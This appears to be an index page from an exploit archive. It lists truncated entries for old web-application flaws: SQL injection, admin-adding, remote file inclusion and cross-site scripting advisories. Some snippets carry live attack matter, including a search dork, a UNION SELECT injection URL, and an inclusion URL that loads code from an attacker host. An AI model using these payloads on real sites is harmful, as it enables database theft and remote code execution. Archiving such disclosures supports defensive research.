Blog System 1.x (note) SQL Injection Vuln

Exploit for unknown platform in category web applications ========================================= Blog System 1.x note SQL Injection Vuln ========================================= Script : Blog System Version : 1.x Link : http://netartmedia.net/blogsystem/ Dork : "powered by Blog System" Table ...

Blog System 1.x - 'note' SQL Injection

Script : Blog System Version : 1.x Link : http://netartmedia.net/blogsystem/ Dork : "powered by Blog System" Table : websiteadminadminusers Columns : id,username,password,type Exploit :...

SQL Injection in Unique Ads ( UDS )

Hello Vulnerable : uds Version: 1.x web : http://www.egyptechno.com The bug : http://example.com/uds/banner.php?bid=SQL Example : http://example.com/uds/banner.php?bid=-5520union20select20null,null,null20from20uds ,,,,,,, Discoverey By : LinuxDrox www.LeZr.com Best Regards ,,...

uniqueads-sql.txt

Hello Vulnerable : uds Version: 1.x web : http://www.egyptechno.com The bug : http://example.com/uds/banner.php?bid=SQL Example : http://example.com/uds/banner.php?bid=-55%20union%20select%20null,null,null%20from%20uds ,,,,,,, Discoverey By : LinuxDrox www.LeZr.com Best Regards ,,...

Bandwebsite <= 1.5 (Login) Remote Add Admin Exploit

No description provided by source. !-- - Product : Bandsite portal system - Website : http://membres.lycos.fr/fluxx/bandwebsite.php - Author : H0tTurk- WebSiteVersion:1.x - Problem : Admin Added Access. Bandsite is an online portal system designed for Bands. Features: themes support, news posting...

Bandsite portal system Admin Added Access

!-- - Product : Bandsite portal system - Website : http://membres.lycos.fr/fluxx/bandwebsite.php - Author : H0tTurk- WebSiteVersion:1.x - Problem : Admin Added Access. Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour...

OaBoard 1.0 Remote File inclusion

OaBoard version 1.x have remote file inclusion . Variables $inc isn't initialized in the include http://host/oaboard/forum.php?inc=http://evilscript/ Hessam-x www.hessamx.net...

[SA18499] WB News "name" Script Insertion Vulnerability

TITLE: WB News "name" Script Insertion Vulnerability SECUNIA ADVISORY ID: SA18499 VERIFY ADVISORY: http://secunia.com/advisories/18499/ CRITICAL: Moderately critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: WB News 1.x http://secunia.com/product/6866/ DESCRIPTION: DragoN has...

[SA18219] MediaWiki Hardcoded Placeholder String Security Bypass Vulnerability

TITLE: MediaWiki Hardcoded Placeholder String Security Bypass Vulnerability SECUNIA ADVISORY ID: SA18219 VERIFY ADVISORY: http://secunia.com/advisories/18219/ CRITICAL: Less critical IMPACT: Security Bypass, Cross Site Scripting WHERE: From remote SOFTWARE: MediaWiki 1.x...

[SA16970] CJ LinkOut "123" Cross-Site Scripting Vulnerability

TITLE: CJ LinkOut "123" Cross-Site Scripting Vulnerability SECUNIA ADVISORY ID: SA16970 VERIFY ADVISORY: http://secunia.com/advisories/16970/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: CJ LinkOut 1.x http://secunia.com/product/5770/ DESCRIPTION: Psymera has...

[SA16506] Mantis Cross-Site Scripting and SQL Injection Vulnerabilities

---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...